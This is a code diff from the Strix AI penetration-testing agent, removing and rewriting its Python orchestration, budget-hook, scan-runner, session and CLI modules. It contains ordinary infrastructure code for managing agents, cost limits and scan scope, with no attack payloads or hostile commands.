async def _notify_parent_on_crash(
coordinator: AgentCoordinator,
agent_id: str,
status: str,
) -> None:
if status != "crashed":
return
async with coordinator._lock:
parent = coordinator.parent_of.get(agent_id)
name = coordinator.names.get(agent_id, agent_id)
if parent is None:
return
await coordinator.send(
parent,
{
"from": agent_id,
"type": "crash",
"priority": "high",
"content": (
f"[Agent crash] {name} ({agent_id}) terminated unexpectedly. "
"Stop waiting on this child unless you want to message it again."
),
},
)
async def _start_child_runner(
*,
parent_ctx: dict[str, Any],
coordinator: AgentCoordinator,
agents_db_path: Path,
sessions_to_close: list[SQLiteSession],
run_config: RunConfig,
max_turns: int,
interactive: bool,
child_agent: Any,
child_id: str,
name: str,
parent_id: str | None,
task: str,
initial_input: Any,
start_parked: bool = False,
event_sink: StreamEventSink | None = None,
hooks: RunHooks[dict[str, Any]] | None = None,
) -> None:
session = open_agent_session(child_id, agents_db_path)
sessions_to_close.append(session)
await coordinator.attach_runtime(child_id, session=session)
child_ctx: dict[str, Any] = dict(parent_ctx)
child_ctx["agent_id"] = child_id
child_ctx["parent_id"] = parent_id
child_ctx["task"] = task
async def _child_loop() -> None:
# A budget stop is a clean scan-wide shutdown, not a child failure: the
# child's status and parent notification are already settled in
# ``_run_cycle``. Swallow it here so the detached task does not surface a
# spurious "Task exception was never retrieved" warning. The root agent
# hits the same limit on its next call and tears the scan down.
try:
await run_agent_loop(
agent=child_agent,
initial_input=initial_input,
run_config=run_config,
context=child_ctx,
max_turns=max_turns,
coordinator=coordinator,
agent_id=child_id,
interactive=interactive,
session=session,
start_parked=start_parked,
event_sink=event_sink,
hooks=hooks,
)
except BudgetExceededError:
logger.info("child %s stopped after reaching the scan budget limit", child_id)
task_handle = asyncio.create_task(_child_loop(), name=f"agent-{name}-{child_id}")
await coordinator.attach_runtime(child_id, task=task_handle)
-72
View File
@@ -1,72 +0,0 @@
"""SDK run hooks used by Strix orchestration."""
from __future__ import annotations
import logging
from typing import TYPE_CHECKING, Any
from agents.lifecycle import RunHooks
from strix.report.state import get_global_report_state
if TYPE_CHECKING:
from agents import RunContextWrapper
from agents.agent import Agent
from agents.items import ModelResponse
logger = logging.getLogger(__name__)
class BudgetExceededError(RuntimeError):
"""Raised when the accumulated LLM cost reaches the configured budget."""
class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
import math
if max_budget_usd is not None and (
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
):
raise ValueError("max_budget_usd must be a finite number greater than 0")
self._model = model
self._max_budget_usd = max_budget_usd
async def on_llm_end(
self,
context: RunContextWrapper[dict[str, Any]],
agent: Agent[dict[str, Any]],
response: ModelResponse,
) -> None:
report_state = get_global_report_state()
if report_state is None:
return
ctx = context.context if isinstance(context.context, dict) else {}
agent_name = getattr(agent, "name", None)
if not isinstance(agent_name, str):
agent_name = None
agent_id = ctx.get("agent_id")
if not isinstance(agent_id, str) or not agent_id:
agent_id = agent_name or "unknown"
try:
report_state.record_sdk_usage(
agent_id=agent_id,
agent_name=agent_name,
model=self._model,
usage=response.usage,
)
except Exception:
logger.exception("failed to record SDK usage for agent %s", agent_id)
if self._max_budget_usd is not None:
cost = report_state.get_total_llm_cost()
if cost >= self._max_budget_usd:
raise BudgetExceededError(
f"Token budget of ${self._max_budget_usd:.2f} exceeded (spent ${cost:.4f})"
)
-165
View File
@@ -1,165 +0,0 @@
"""Pure input builders for Strix scan runs."""
from __future__ import annotations
import json
from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from openai.types.shared import Reasoning
from strix.config.models import DEFAULT_MODEL_RETRY, model_supports_reasoning
if TYPE_CHECKING:
from strix.config.settings import ReasoningEffort
DEFAULT_MAX_TURNS = 500
def build_root_task(scan_config: dict[str, Any]) -> str:
targets = scan_config.get("targets", []) or []
diff_scope = scan_config.get("diff_scope") or {}
user_instructions = scan_config.get("user_instructions", "") or ""
sections: dict[str, list[str]] = {
"Repositories": [],
"Local Codebases": [],
"URLs": [],
"IP Addresses": [],
}
for target in targets:
ttype = target.get("type")
details = target.get("details") or {}
workspace_subdir = details.get("workspace_subdir")
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else "/workspace"
if ttype == "repository":
url = details.get("target_repo", "")
cloned = details.get("cloned_repo_path")
sections["Repositories"].append(
f"- {url} (available at: {workspace_path})" if cloned else f"- {url}",
)
elif ttype == "local_code":
path = details.get("target_path", "unknown")
suffix = ", read-only mount" if details.get("mount") else ""
sections["Local Codebases"].append(f"- {path} (available at: {workspace_path}{suffix})")
elif ttype == "web_application":
sections["URLs"].append(f"- {details.get('target_url', '')}")
elif ttype == "ip_address":
sections["IP Addresses"].append(f"- {details.get('target_ip', '')}")
parts: list[str] = []
for label, items in sections.items():
if items:
parts.append(f"\n\n{label}:")
parts.extend(items)
if diff_scope.get("active"):
parts.append("\n\nScope Constraints:")
parts.append(
"- Pull request diff-scope mode is active. Prioritize changed files "
"and use other files only for context.",
)
for repo_scope in diff_scope.get("repos", []) or []:
label = (
repo_scope.get("workspace_subdir") or repo_scope.get("source_path") or "repository"
)
changed = repo_scope.get("analyzable_files_count", 0)
deleted = repo_scope.get("deleted_files_count", 0)
parts.append(f"- {label}: {changed} changed file(s) in primary scope")
if deleted:
parts.append(f"- {label}: {deleted} deleted file(s) are context-only")
task = " ".join(parts)
if user_instructions:
task = f"{task}\n\nSpecial instructions: {user_instructions}"
return task
def build_scope_context(scan_config: dict[str, Any]) -> dict[str, Any]:
authorized: list[dict[str, str]] = []
value_keys = {
"repository": "target_repo",
"local_code": "target_path",
"web_application": "target_url",
"ip_address": "target_ip",
}
for target in scan_config.get("targets", []) or []:
ttype = target.get("type", "unknown")
details = target.get("details") or {}
key = value_keys.get(ttype)
value = details.get(key, "") if key is not None else target.get("original", "")
workspace_subdir = details.get("workspace_subdir")
workspace_path = f"/workspace/{workspace_subdir}" if workspace_subdir else ""
authorized.append(
{"type": ttype, "value": value, "workspace_path": workspace_path},
)
return {
"scope_source": "system_scan_config",
"authorization_source": "strix_platform_verified_targets",
"authorized_targets": authorized,
"user_instructions_do_not_expand_scope": True,
}
def make_model_settings(
reasoning_effort: ReasoningEffort | None,
*,
model_name: str,
) -> ModelSettings:
model_settings = ModelSettings(
parallel_tool_calls=False,
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
)
if (
reasoning_effort is not None
and reasoning_effort != "none"
and model_supports_reasoning(model_name)
):
model_settings = model_settings.resolve(
ModelSettings(reasoning=Reasoning(effort=reasoning_effort)),
)
return model_settings
def child_initial_input(
*,
name: str,
child_id: str,
parent_id: str,
task: str,
parent_history: list[Any],
) -> list[dict[str, Any]]:
initial_input: list[dict[str, Any]] = []
if parent_history:
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
initial_input.append(
{
"role": "user",
"content": (
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
"== End of inherited context ==\n"
"Use the above as background only; do not continue the "
"parent's work. Your task follows."
),
},
)
initial_input.append(
{
"role": "user",
"content": (
f"You are agent {name} ({child_id}); your parent is {parent_id}. "
"Maintain your own identity. Call agent_finish when your task "
"is complete."
),
}
)
initial_input.append({"role": "user", "content": task})
return initial_input
-23
View File
@@ -1,23 +0,0 @@
"""Run directory path helpers."""
from __future__ import annotations
from pathlib import Path
RUNS_DIR_NAME = "strix_runs"
RUNTIME_STATE_DIR_NAME = ".state"
RUN_RECORD_FILENAME = "run.json"
def run_dir_for(run_name: str, *, cwd: Path | None = None) -> Path:
base = cwd or Path.cwd()
return base / RUNS_DIR_NAME / run_name
def runtime_state_dir(run_dir: Path) -> Path:
return run_dir / RUNTIME_STATE_DIR_NAME
def run_record_path(run_dir: Path) -> Path:
return run_dir / RUN_RECORD_FILENAME
-328
View File
@@ -1,328 +0,0 @@
"""Top-level Strix scan runner."""
from __future__ import annotations
import contextlib
import json
import logging
import uuid
from collections.abc import Callable
from typing import TYPE_CHECKING, Any
from agents import RunConfig
from agents.sandbox import SandboxRunConfig
from strix.agents.factory import build_strix_agent, make_child_factory
from strix.config import load_settings
from strix.config.models import (
StrixProvider,
configure_sdk_model_defaults,
uses_chat_completions_tool_schema,
)
from strix.core.agents import AgentCoordinator
from strix.core.execution import (
respawn_subagents,
run_agent_loop,
)
from strix.core.execution import (
spawn_child_agent as start_child_agent,
)
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
from strix.core.inputs import (
DEFAULT_MAX_TURNS,
build_root_task,
build_scope_context,
make_model_settings,
)
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.core.sessions import open_agent_session
from strix.runtime import session_manager
from strix.telemetry.logging import set_scan_id, setup_scan_logging
if TYPE_CHECKING:
from agents.memory import SQLiteSession
from agents.result import RunResultBase
logger = logging.getLogger(__name__)
StreamEventSink = Callable[[str, Any], None]
async def run_strix_scan(
*,
scan_config: dict[str, Any],
scan_id: str | None = None,
image: str,
local_sources: list[dict[str, Any]] | None = None,
coordinator: AgentCoordinator | None = None,
interactive: bool = False,
max_turns: int = DEFAULT_MAX_TURNS,
max_budget_usd: float | None = None,
model: str | None = None,
cleanup_on_exit: bool = True,
event_sink: StreamEventSink | None = None,
) -> RunResultBase | None:
"""Run or resume one Strix scan against a sandbox."""
if scan_id is None:
scan_id = f"scan-{uuid.uuid4().hex[:8]}"
run_dir = run_dir_for(scan_id)
run_dir.mkdir(parents=True, exist_ok=True)
state_dir = runtime_state_dir(run_dir)
state_dir.mkdir(parents=True, exist_ok=True)
teardown_logging = setup_scan_logging(run_dir)
set_scan_id(scan_id)
agents_path = state_dir / "agents.json"
agents_db = state_dir / "agents.db"
is_resume = agents_path.exists()
logger.info(
"%s Strix scan %s (image=%s, max_turns=%d, interactive=%s, run_dir=%s)",
"Resuming" if is_resume else "Starting",
scan_id,
image,
max_turns,
interactive,
run_dir,
)
settings = load_settings()
configure_sdk_model_defaults(settings)
resolved_model = (model or settings.llm.model or "").strip()
if not resolved_model:
raise RuntimeError(
"No LLM model configured. Set STRIX_LLM env or pass model= to run_strix_scan().",
)
logger.info("LLM model resolved: %s", resolved_model)
chat_completions_tools = uses_chat_completions_tool_schema(resolved_model, settings)
if coordinator is None:
coordinator = AgentCoordinator()
coordinator.set_snapshot_path(agents_path)
from strix.tools.notes.tools import hydrate_notes_from_disk
from strix.tools.todo.tools import hydrate_todos_from_disk
hydrate_todos_from_disk(state_dir)
hydrate_notes_from_disk(state_dir)
root_id: str | None = None
if is_resume:
try:
snap = json.loads(agents_path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
raise RuntimeError(
f"Cannot resume scan {scan_id}: agents.json is unreadable: {exc}",
) from exc
if not agents_db.exists():
raise RuntimeError(
f"Cannot resume scan {scan_id}: missing SDK session database at {agents_db}",
)
await coordinator.restore(snap)
for aid, parent in coordinator.parent_of.items():
if parent is None:
root_id = aid
break
if root_id is None:
raise RuntimeError(
f"Cannot resume scan {scan_id}: agents.json has no root agent (parent=None)",
)
logger.info(
"Resume: restored coordinator with %d agent(s); root=%s",
len(coordinator.statuses),
root_id,
)
else:
root_id = uuid.uuid4().hex[:8]
logger.info("Bringing up sandbox session for scan %s", scan_id)
bundle = await session_manager.create_or_reuse(
scan_id,
image=image,
local_sources=local_sources or [],
)
logger.info("Sandbox ready for scan %s", scan_id)
sessions_to_close: list[SQLiteSession] = []
try:
targets = scan_config.get("targets") or []
scan_mode = str(scan_config.get("scan_mode") or "deep")
is_whitebox = any(t.get("type") == "local_code" for t in targets)
skills = list(scan_config.get("skills") or [])
root_task = build_root_task(scan_config)
model_settings = make_model_settings(
settings.llm.reasoning_effort,
model_name=resolved_model,
)
run_config = RunConfig(
model=resolved_model,
model_provider=StrixProvider(),
model_settings=model_settings,
sandbox=SandboxRunConfig(client=bundle["client"], session=bundle["session"]),
trace_include_sensitive_data=False,
)
hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd)
scope_context = build_scope_context(scan_config)
root_agent = build_strix_agent(
name="strix",
skills=skills,
is_root=True,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
interactive=interactive,
chat_completions_tools=chat_completions_tools,
system_prompt_context=scope_context,
)
if not is_resume:
await coordinator.register(
root_id,
"strix",
parent_id=None,
task=root_task,
skills=skills,
)
child_agent_builder = make_child_factory(
scan_mode=scan_mode,
is_whitebox=is_whitebox,
interactive=interactive,
chat_completions_tools=chat_completions_tools,
system_prompt_context=scope_context,
)
async def spawn_child_agent(**kwargs: Any) -> dict[str, Any]:
return await start_child_agent(
coordinator=coordinator,
factory=child_agent_builder,
agents_db_path=agents_db,
sessions_to_close=sessions_to_close,
run_config=run_config,
max_turns=max_turns,
interactive=interactive,
event_sink=event_sink,
hooks=hooks,
**kwargs,
)
context: dict[str, Any] = {
"coordinator": coordinator,
"sandbox_session": bundle["session"],
"caido_client": bundle["caido_client"],
"agent_id": root_id,
"parent_id": None,
"interactive": interactive,
"spawn_child_agent": spawn_child_agent,
}
root_session = open_agent_session(root_id, agents_db)
sessions_to_close.append(root_session)
await coordinator.attach_runtime(root_id, session=root_session)
if is_resume:
await respawn_subagents(
coordinator=coordinator,
factory=child_agent_builder,
agents_db_path=agents_db,
sessions_to_close=sessions_to_close,
run_config=run_config,
max_turns=max_turns,
interactive=interactive,
parent_ctx=context,
root_id=root_id,
event_sink=event_sink,
hooks=hooks,
)
initial_input: Any = [] if is_resume else root_task
# Resume + new ``--instruction``: SDK replay drives root from
# agents.db with ``initial_input=[]``, so a brand-new instruction
# passed on the resume CLI would otherwise be silently ignored.
# Inject it as a fresh user message in root's SDK session; the
# next run cycle will replay it with the rest of the session.
resume_instruction = str(scan_config.get("resume_instruction") or "").strip()
if is_resume and resume_instruction:
await coordinator.send(
root_id,
{
"from": "user",
"type": "instruction",
"priority": "high",
"content": resume_instruction,
},
)
logger.info(
"Resume: injected new instruction into root SDK session (len=%d)",
len(resume_instruction),
)
async with coordinator._lock:
root_status = coordinator.statuses.get(root_id)
result = await run_agent_loop(
agent=root_agent,
initial_input=initial_input,
run_config=run_config,
context=context,
max_turns=max_turns,
coordinator=coordinator,
agent_id=root_id,
interactive=interactive,
session=root_session,
start_parked=bool(interactive and is_resume and root_status != "running"),
event_sink=event_sink,
hooks=hooks,
)
if not interactive and result is not None:
final = getattr(result, "final_output", None)
scan_completed = False
if isinstance(final, str):
try:
parsed = json.loads(final)
scan_completed = bool(isinstance(parsed, dict) and parsed.get("scan_completed"))
except (ValueError, TypeError):
scan_completed = False
elif isinstance(final, dict):
scan_completed = bool(final.get("scan_completed"))
if not scan_completed:
logger.error(
"Scan %s ended without calling finish_scan. The agent "
"emitted a text-only turn instead of a lifecycle tool call, "
"so no executive report was written. Final output (first "
"300 chars): %r",
scan_id,
str(final)[:300],
)
return result # noqa: TRY300
except BudgetExceededError as exc:
logger.info("Scan %s stopped: %s", scan_id, exc)
if root_id is not None:
await coordinator.cancel_descendants(root_id)
with contextlib.suppress(Exception):
await coordinator.set_status(root_id, "stopped")
return None
except BaseException:
logger.exception("Strix scan %s failed", scan_id)
if root_id is not None:
await coordinator.cancel_descendants(root_id)
with contextlib.suppress(Exception):
await coordinator.set_status(root_id, "failed")
raise
finally:
for s in sessions_to_close:
with contextlib.suppress(Exception):
s.close()
with contextlib.suppress(Exception):
await coordinator._maybe_snapshot()
if cleanup_on_exit:
logger.info("Tearing down sandbox session for scan %s", scan_id)
await session_manager.cleanup(scan_id)
logger.info("Strix scan %s done", scan_id)
teardown_logging()
-65
View File
@@ -1,65 +0,0 @@
"""SDK session helpers for Strix agents."""
from __future__ import annotations
import contextlib
from typing import TYPE_CHECKING, Any, cast
from agents.memory import SQLiteSession
if TYPE_CHECKING:
from pathlib import Path
from agents.items import TResponseInputItem
from agents.memory import Session
def open_agent_session(agent_id: str, path: Path) -> SQLiteSession:
path.parent.mkdir(parents=True, exist_ok=True)
return SQLiteSession(session_id=agent_id, db_path=path)
_IMAGE_REJECTED_TEXT = "[image rejected by the model]"
async def strip_all_images_from_session(session: Session) -> bool:
items = await session.get_items()
if not items:
return False
rebuilt: list[Any] = []
changed = False
for item in items:
item_dict = cast("dict[str, Any]", item) if isinstance(item, dict) else None
if (
item_dict is not None
and item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(
isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"]
)
):
rebuilt.append(
{
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [{"type": "input_text", "text": _IMAGE_REJECTED_TEXT}],
},
)
changed = True
else:
rebuilt.append(item)
if not changed:
return False
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
with contextlib.suppress(Exception):
await session.add_items(rebuilt_items)
raise
return True
+3
View File
@@ -386,6 +386,7 @@ VulnerabilityDetailScreen {
.browser-tool,
.terminal-tool,
.python-tool,
.agents-graph-tool,
.file-edit-tool,
.proxy-tool,
@@ -410,6 +411,8 @@ VulnerabilityDetailScreen {
.browser-tool.status-running,
.terminal-tool.status-completed,
.terminal-tool.status-running,
.python-tool.status-completed,
.python-tool.status-running,
.agents-graph-tool.status-completed,
.agents-graph-tool.status-running,
.file-edit-tool.status-completed,
+41 -53
View File
@@ -1,6 +1,4 @@
import atexit
import contextlib
import logging
import signal
import sys
import threading
@@ -12,10 +10,9 @@ from rich.live import Live
from rich.panel import Panel
from rich.text import Text
from strix.config import load_settings
from strix.core.runner import run_strix_scan
from strix.report.state import ReportState, set_global_report_state
from strix.runtime import session_manager
from strix.agents.StrixAgent import StrixAgent
from strix.llm.config import LLMConfig
from strix.telemetry.tracer import Tracer, set_global_tracer
from .utils import (
build_live_stats_text,
@@ -23,18 +20,6 @@ from .utils import (
)
logger = logging.getLogger(__name__)
def _resolve_sandbox_image() -> str:
image = load_settings().runtime.image
if not image:
raise RuntimeError(
"strix_image is not configured. Set it in ~/.strix/cli-config.json.",
)
return image
async def run_cli(args: Any) -> None: # noqa: PLR0915
console = Console()
@@ -82,24 +67,28 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
scan_mode = getattr(args, "scan_mode", "deep")
scan_config: dict[str, Any] = {
scan_config = {
"scan_id": args.run_name,
"targets": args.targets_info,
"user_instructions": args.instruction or "",
"run_name": args.run_name,
"diff_scope": getattr(args, "diff_scope", {"active": False}),
"scan_mode": scan_mode,
"non_interactive": bool(getattr(args, "non_interactive", False)),
"local_sources": getattr(args, "local_sources", None) or [],
"scope_mode": getattr(args, "scope_mode", "auto"),
"diff_base": getattr(args, "diff_base", None),
"resume_instruction": getattr(args, "user_explicit_instruction", None) or "",
}
report_state = ReportState(args.run_name)
report_state.hydrate_from_run_dir()
report_state.set_scan_config(scan_config)
report_state.save_run_data()
llm_config = LLMConfig(
scan_mode=scan_mode,
is_whitebox=bool(getattr(args, "local_sources", [])),
)
agent_config = {
"llm_config": llm_config,
"max_iterations": 300,
}
if getattr(args, "local_sources", None):
agent_config["local_sources"] = args.local_sources
tracer = Tracer(args.run_name)
tracer.set_scan_config(scan_config)
def display_vulnerability(report: dict[str, Any]) -> None:
report_id = report.get("id", "unknown")
@@ -117,13 +106,16 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
console.print(vuln_panel)
console.print()
report_state.vulnerability_found_callback = display_vulnerability
tracer.vulnerability_found_callback = display_vulnerability
def cleanup_on_exit() -> None:
report_state.cleanup()
from strix.runtime import cleanup_runtime
tracer.cleanup()
cleanup_runtime()
def signal_handler(_signum: int, _frame: Any) -> None:
report_state.cleanup(status="interrupted")
tracer.cleanup()
sys.exit(1)
atexit.register(cleanup_on_exit)
@@ -132,14 +124,14 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
if hasattr(signal, "SIGHUP"):
signal.signal(signal.SIGHUP, signal_handler)
set_global_report_state(report_state)
set_global_tracer(tracer)
def create_live_status() -> Panel:
status_text = Text()
status_text.append("Penetration test in progress", style="bold #22c55e")
status_text.append("\n\n")
stats_text = build_live_stats_text(report_state)
stats_text = build_live_stats_text(tracer, agent_config)
if stats_text:
status_text.append(stats_text)
@@ -164,38 +156,34 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
try:
live.update(create_live_status())
time.sleep(2)
except Exception:
except Exception: # noqa: BLE001
break
update_thread = threading.Thread(target=update_status, daemon=True)
update_thread.start()
try:
logger.info(
"CLI launching scan: run_name=%s targets=%d interactive=%s",
args.run_name,
len(scan_config.get("targets") or []),
bool(getattr(args, "interactive", False)),
)
await run_strix_scan(
scan_config=scan_config,
scan_id=args.run_name,
image=_resolve_sandbox_image(),
local_sources=getattr(args, "local_sources", None) or [],
interactive=bool(getattr(args, "interactive", False)),
max_budget_usd=getattr(args, "max_budget_usd", None),
)
agent = StrixAgent(agent_config)
result = await agent.execute_scan(scan_config)
if isinstance(result, dict) and not result.get("success", True):
error_msg = result.get("error", "Unknown error")
error_details = result.get("details")
console.print()
console.print(f"[bold red]Penetration test failed:[/] {error_msg}")
if error_details:
console.print(f"[dim]{error_details}[/]")
console.print()
sys.exit(1)
finally:
stop_updates.set()
update_thread.join(timeout=1)
with contextlib.suppress(Exception):
await session_manager.cleanup(args.run_name)
except Exception as e:
console.print(f"[bold red]Error during penetration test:[/] {e}")
raise
if report_state.final_scan_result:
if tracer.final_scan_result:
console.print()
final_report_text = Text()
@@ -205,7 +193,7 @@ async def run_cli(args: Any) -> None: # noqa: PLR0915
Text.assemble(
final_report_text,
"\n\n",
report_state.final_scan_result,
tracer.final_scan_result,
),
title="[bold white]STRIX",
title_align="left",
+152 -393
View File
@@ -5,86 +5,82 @@ Strix Agent Interface
import argparse
import asyncio
import logging
import shutil
import sys
from datetime import UTC, datetime
from pathlib import Path
from typing import Any
from agents.model_settings import ModelSettings
from agents.models.interface import ModelTracing
import litellm
from docker.errors import DockerException
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.config import (
apply_config_override,
load_settings,
persist_current,
)
from strix.config.models import (
RECOMMENDED_MODEL_NAMES,
StrixProvider,
configure_sdk_model_defaults,
is_known_openai_bare_model,
is_recommended_or_frontier_model,
)
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.interface.cli import run_cli
from strix.interface.tui import run_tui
from strix.interface.utils import (
from strix.config import Config, apply_saved_config, save_current_config
from strix.config.config import resolve_llm_config
from strix.llm.utils import resolve_strix_model
apply_saved_config()
from strix.interface.cli import run_cli # noqa: E402
from strix.interface.tui import run_tui # noqa: E402
from strix.interface.utils import ( # noqa: E402
assign_workspace_subdirs,
build_final_stats_text,
build_mount_targets_info,
check_docker_connection,
clone_repository,
collect_local_sources,
dedupe_local_targets,
find_oversized_local_targets,
generate_run_name,
image_exists,
infer_target_type,
is_whitebox_scan,
process_pull_line,
resolve_diff_scope_context,
rewrite_localhost_targets,
validate_config_file,
validate_llm_response,
)
from strix.report.state import get_global_report_state
from strix.report.writer import read_run_record, write_run_record
from strix.telemetry import posthog, scarf
from strix.telemetry.logging import configure_dependency_logging
from strix.runtime.docker_runtime import HOST_GATEWAY_HOSTNAME # noqa: E402
from strix.telemetry import posthog # noqa: E402
from strix.telemetry.tracer import get_global_tracer # noqa: E402
HOST_GATEWAY_HOSTNAME = "host.docker.internal"
logging.getLogger().setLevel(logging.ERROR)
import logging # noqa: E402
logger = logging.getLogger(__name__)
def validate_environment() -> None:
logger.info("Validating environment")
def validate_environment() -> None: # noqa: PLR0912, PLR0915
console = Console()
missing_required_vars = []
missing_optional_vars = []
settings = load_settings()
strix_llm = Config.get("strix_llm")
uses_strix_models = strix_llm and strix_llm.startswith("strix/")
if not settings.llm.model:
if not strix_llm:
missing_required_vars.append("STRIX_LLM")
if not settings.llm.api_key:
has_base_url = uses_strix_models or any(
[
Config.get("llm_api_base"),
Config.get("openai_api_base"),
Config.get("litellm_base_url"),
Config.get("ollama_api_base"),
]
)
if not Config.get("llm_api_key"):
missing_optional_vars.append("LLM_API_KEY")
if not settings.llm.api_base:
if not has_base_url:
missing_optional_vars.append("LLM_API_BASE")
if not settings.integrations.perplexity_api_key:
if not Config.get("perplexity_api_key"):
missing_optional_vars.append("PERPLEXITY_API_KEY")
if not Config.get("strix_reasoning_effort"):
missing_optional_vars.append("STRIX_REASONING_EFFORT")
if missing_required_vars:
error_text = Text()
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
@@ -106,8 +102,7 @@ def validate_environment() -> None:
error_text.append("", style="white")
error_text.append("STRIX_LLM", style="bold cyan")
error_text.append(
" - Model name to use (e.g., 'openai/gpt-5.4' or "
"'anthropic/claude-opus-4-7')\n",
" - Model name to use with litellm (e.g., 'openai/gpt-5.4')\n",
style="white",
)
@@ -180,20 +175,14 @@ def validate_environment() -> None:
padding=(1, 2),
)
logger.error("Missing required env vars: %s", missing_required_vars)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
logger.info(
"Environment OK (optional missing: %s)",
missing_optional_vars or "none",
)
def check_docker_installed() -> None:
if shutil.which("docker") is None:
logger.error("Docker CLI not found in PATH")
console = Console()
error_text = Text()
error_text.append("DOCKER NOT INSTALLED", style="bold red")
@@ -212,96 +201,38 @@ def check_docker_installed() -> None:
)
console.print("\n", panel, "\n")
sys.exit(1)
logger.debug("Docker CLI present")
async def warm_up_llm() -> None:
console = Console()
logger.info("Warming up LLM connection")
try:
settings = load_settings()
configure_sdk_model_defaults(settings)
llm = settings.llm
model_name, api_key, api_base = resolve_llm_config()
litellm_model, _ = resolve_strix_model(model_name)
litellm_model = litellm_model or model_name
raw_model = (llm.model or "").strip()
if (
raw_model
and "/" not in raw_model
and not is_known_openai_bare_model(raw_model)
and not llm.api_base
):
warn_text = Text()
warn_text.append("UNKNOWN MODEL NAME", style="bold yellow")
warn_text.append("\n\n", style="white")
warn_text.append(f"'{raw_model}'", style="bold cyan")
warn_text.append(
" is not a known OpenAI model. Bare names route to OpenAI by default.\n"
"If you meant a non-OpenAI provider, use the '",
style="white",
)
warn_text.append("<provider>/<model>", style="bold cyan")
warn_text.append(
"' form, e.g. 'anthropic/claude-opus-4-7', 'deepseek/deepseek-v4-pro'.",
style="white",
)
console.print(
Panel(
warn_text,
title="[bold white]STRIX",
title_align="left",
border_style="yellow",
padding=(1, 2),
),
)
sys.exit(1)
test_messages = [
{"role": "system", "content": "You are a helpful assistant."},
{"role": "user", "content": "Reply with just 'OK'."},
]
if raw_model and not is_recommended_or_frontier_model(raw_model):
warn_text = Text()
warn_text.append("MODEL QUALITY WARNING", style="bold yellow")
warn_text.append("\n\n", style="white")
warn_text.append(f"'{raw_model}'", style="bold cyan")
warn_text.append(
" is not a recommended frontier model for Strix.\nSecurity scans work best with:\n",
style="white",
)
for recommended_model in RECOMMENDED_MODEL_NAMES:
warn_text.append(f"{recommended_model}\n", style="bold cyan")
warn_text.append(
"\nYou can continue, but weaker models may miss vulnerabilities "
"or produce lower-quality findings.",
style="white",
)
console.print(
Panel(
warn_text,
title="[bold white]STRIX",
title_align="left",
border_style="yellow",
padding=(1, 2),
),
)
llm_timeout = int(Config.get("llm_timeout") or "300")
model = StrixProvider().get_model(raw_model)
await asyncio.wait_for(
model.get_response(
system_instructions="You are a helpful assistant.",
input="Reply with just 'OK'.",
model_settings=ModelSettings(),
tools=[],
output_schema=None,
handoffs=[],
tracing=ModelTracing.DISABLED,
previous_response_id=None,
conversation_id=None,
prompt=None,
),
timeout=llm.timeout,
)
logger.info("LLM warm-up succeeded for model %s", (llm.model or "").strip())
completion_kwargs: dict[str, Any] = {
"model": litellm_model,
"messages": test_messages,
"timeout": llm_timeout,
}
if api_key:
completion_kwargs["api_key"] = api_key
if api_base:
completion_kwargs["api_base"] = api_base
except Exception as e:
logger.exception("LLM warm-up failed")
response = litellm.completion(**completion_kwargs)
validate_llm_response(response)
except Exception as e: # noqa: BLE001
error_text = Text()
error_text.append("LLM CONNECTION FAILED", style="bold red")
error_text.append("\n\n", style="white")
@@ -328,22 +259,10 @@ def get_version() -> str:
from importlib.metadata import version
return version("strix-agent")
except Exception:
except Exception: # noqa: BLE001
return "unknown"
def _positive_budget(value: str) -> float:
try:
budget = float(value)
except ValueError as exc:
raise argparse.ArgumentTypeError(f"invalid float value: {value!r}") from exc
import math
if not math.isfinite(budget) or budget <= 0:
raise argparse.ArgumentTypeError("must be a finite number greater than 0")
return budget
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Strix Multi-Agent Cybersecurity Penetration Testing Tool",
@@ -360,9 +279,6 @@ Examples:
# Local code analysis
strix --target ./my-project
# Large local repository (bind-mounted read-only instead of copied)
strix --mount ./huge-monorepo
# Domain penetration test
strix --target example.com
@@ -393,19 +309,10 @@ Examples:
"-t",
"--target",
type=str,
required=True,
action="append",
help="Target to test (URL, repository, local directory path, domain name, or IP address). "
"Can be specified multiple times for multi-target scans. "
"Required for fresh runs; loaded from disk when ``--resume`` is set.",
)
parser.add_argument(
"--mount",
type=str,
action="append",
metavar="PATH",
help="Bind-mount a local directory into the sandbox (read-only) instead of "
"copying it file-by-file. Use this for large repositories that are too big to "
"stream into the container. Can be specified multiple times.",
"Can be specified multiple times for multi-target scans.",
)
parser.add_argument(
"--instruction",
@@ -479,24 +386,6 @@ Examples:
help="Path to a custom config file (JSON) to use instead of ~/.strix/cli-config.json",
)
parser.add_argument(
"--max-budget-usd",
type=_positive_budget,
default=None,
help="Maximum LLM cost in USD (> 0). The scan stops cleanly when this limit is reached.",
)
parser.add_argument(
"--resume",
type=str,
metavar="RUN_NAME",
help=(
"Resume a prior scan by its run name (the dir under ./strix_runs/). "
"Picks up the root + every non-terminal subagent's full LLM history "
"and agent topology. Skips fresh run-name generation."
),
)
args = parser.parse_args()
